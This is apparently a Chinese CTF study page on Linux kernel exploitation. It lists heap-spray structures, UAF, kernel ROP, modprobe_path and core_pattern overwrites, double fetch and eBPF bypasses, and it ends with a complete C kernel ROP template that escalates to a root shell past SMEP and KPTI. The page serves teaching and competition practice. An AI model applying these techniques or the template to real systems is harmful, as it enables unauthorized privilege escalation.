Linux内核漏洞利用¶
PWN · 知识域。内核态漏洞:从环境搭建到提权落地。标签:Kernel堆风水、Kernel Heap Spray、Kernel UAF、Kernel ROP、Bypass kernel保护、Double Fetch。
触发特征¶
- 题目给
bzImage+rootfs.cpio+run.sh(QEMU 启动脚本)。 .ko内核模块交互(dev 节点 ioctl);qemu-system-x86_64启动内核态。
环境与侦察¶
- 搭建:解包 cpio(
cpio -idmv < rootfs.cpio)改 init 放 exploit;-s开 gdbserver,gdb vmlinux调内核。 - 提取 vmlinux:
extract-vmlinux bzImage;符号:/proc/kallsyms(non-root 给 0)、CONFIG_KALLSYMS_ALL检查、fg-kallsyms 绕过(读__ksymtab)。 - 保护确认:checksec 内核版——KASLR、SMEP、SMAP、KPTI、FG-KASLR(启动参数/配置)、SLAB freelist hardening(CONFIG_SLAB_FREELIST_HARDEN)。
- 启动参数
nokaslr调试便利;模块ioctl逆向后定漏洞类。
Kernel UAF 与堆操控¶
- Kernel Heap Spray:常用结构体按 kmalloc 桶选:
- kmalloc-32:
seq_operations(start 指针,单函数指针 RIP)、tty_file_private - kmalloc-64/128:
user_key_payload(keyctl)、subprocess_info - kmalloc-1k:
tty_struct(含ops指针 → 假 vtable) - 通用:msg_msg、sk_buff、setxattr 临时缓冲、poll_list
- Kernel UAF:模块 free 后引用; sprayed 结构体占位 → 函数指针/数据指针劫持。
- Kernel堆风水:先喷射排布再触发漏洞占目标槽;kmalloc size 错配(PlaidCTF 2013);SLUB freelist 指针加密硬化的处理(泄露堆地址解密,或用不依赖 freelist 指针的手法)。
- 跨缓存攻击:CPU 分裂策略下的 cross-cache(DiceCTF 2026);页级(PTE overlap)文件写(DiceCTF 2026)。
Kernel ROP 与提权原语¶
- cred 替换:
prepare_kernel_cred(0)+commit_creds(KASLR 破解后 classic ret2usr 组合,无 SMEP 时直接 ret2usr)。 - Kernel ROP(SMEP+KPTI):canary 泄露(kstack 残留/内核栈溢出)、
swapgs_restore_regs_and_return_to_usermode偏移跳过寄存器弹栈 → 返回用户态执行system("/bin/sh")。 - modprobe_path 覆写:写
/tmp/x.sh触发未知格式文件执行;无需泄露的暴力变体;CONFIG_STATIC_USERMODEHELPER检查。 - core_pattern 覆写:
|/tmp/x管道 helper;ROP 内单条写实现。 - addr_limit 突破:失败 open 调用旁路(Midnight Sun CTF 2018);自定义 binfmt 装载器 OOB + clear_user(CONFidence Teaser 2019)。
- tty_struct kROP:假 vtable + ioctl 寄存器控制任意写(HTB 系)。
- I/O 端口 hypercall:用户-内核-管理程序链(HITCON 2018);ACPI DSDT OperationRegion shellcode(hxp 2018)。
- ARM 侧:fcntl64 set_fs CVE-2015-8966 管道外带(Insomnihack 2019)。
Double Fetch¶
- 内核两次读取用户数据(check 一次、use 一次),用户线程窗口内改数据。
- 扩窗手段:userfaultfd(uffd 被禁时的替代:FUSE、userfaultfd-fd、页面竞争)、MADV_DONTNEED + mprotect(DiceCTF 2026)。
- CTF 形态:模块
copy_from_user的 size/flag 校验绕过。
eBPF 与虚拟化面¶
- eBPF verifier 绕过:类型混淆/边界检查缺陷(UIUCTF 2021、D³CTF 2022);验证器 log 泄露。
- KVM guest 分析(ioctl + KVM_EXIT_HLT,CSAW 2018);QEMU 设备模拟漏洞 → 逃逸(高级场)。
工具速查¶
qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio -append "console=ttyS0 nokaslr" -s
gdb ./vmlinux -ex 'target remote :1234'
# ropgadget for kernel: ROPgadget --binary vmlinux | grep swapgs
# 常用:kernel-exploit-factory / CTF-kernel 模板库
转向¶
例题¶
内核 ROP 完整模板(SMEP + KPTI)¶
内核栈溢出 + 全保护开启时的标准提权骨架:保存用户态状态 → 溢出写 ROP(prepare_kernel_cred(0) → commit_creds → KPTI trampoline 返回用户态)→ 用户态起 root shell:
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
unsigned long prepare_kernel_cred, commit_creds,
pop_rdi_ret, mov_rdi_rax_pop1_ret, kpti_trampoline;
unsigned long user_cs, user_ss, user_sp, user_rflags, user_rip;
void save_state() { // 提权成功返回用户态要用的现场
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs; mov user_ss, ss; mov user_sp, rsp;"
"pushf; pop user_rflags; .att_syntax;");
user_rip = (unsigned long)spawn_shell;
}
void spawn_shell() {
if (getuid() == 0) system("/bin/sh");
else { puts("[-] privesc failed"); exit(1); }
}
int main() {
save_state();
int fd = open("/dev/hackme", O_RDWR); // 漏洞模块设备
// gadget 地址从 vmlinux 提取;开 KASLR 时先泄露内核地址算偏移
unsigned long payload[256]; int i = 0;
for (; i < overflow_offset; i++) payload[i] = 0; // 溢出偏移(cyclic 测)
payload[i++] = pop_rdi_ret;
payload[i++] = 0;
payload[i++] = prepare_kernel_cred; // cred = prepare_kernel_cred(0)
payload[i++] = mov_rdi_rax_pop1_ret; // rdi = rax(cred)
payload[i++] = 0;
payload[i++] = commit_creds; // commit_creds(cred)
payload[i++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode
payload[i++] = 0; payload[i++] = 0; // 跳过前几个弹栈
payload[i++] = user_rip; payload[i++] = user_cs;
payload[i++] = user_rflags; payload[i++] = user_sp; payload[i++] = user_ss;
write(fd, payload, sizeof(payload));
return 0;
}
要点:KPTI trampoline 取 swapgs_restore_regs_and_return_to_usermode + 22 左右偏移跳过寄存器弹栈序列,后接 5 个用户态现场值;gadget 用 ROPgadget --binary vmlinux 提取;nokaslr 先在本地调试通过再处理 KASLR 泄露。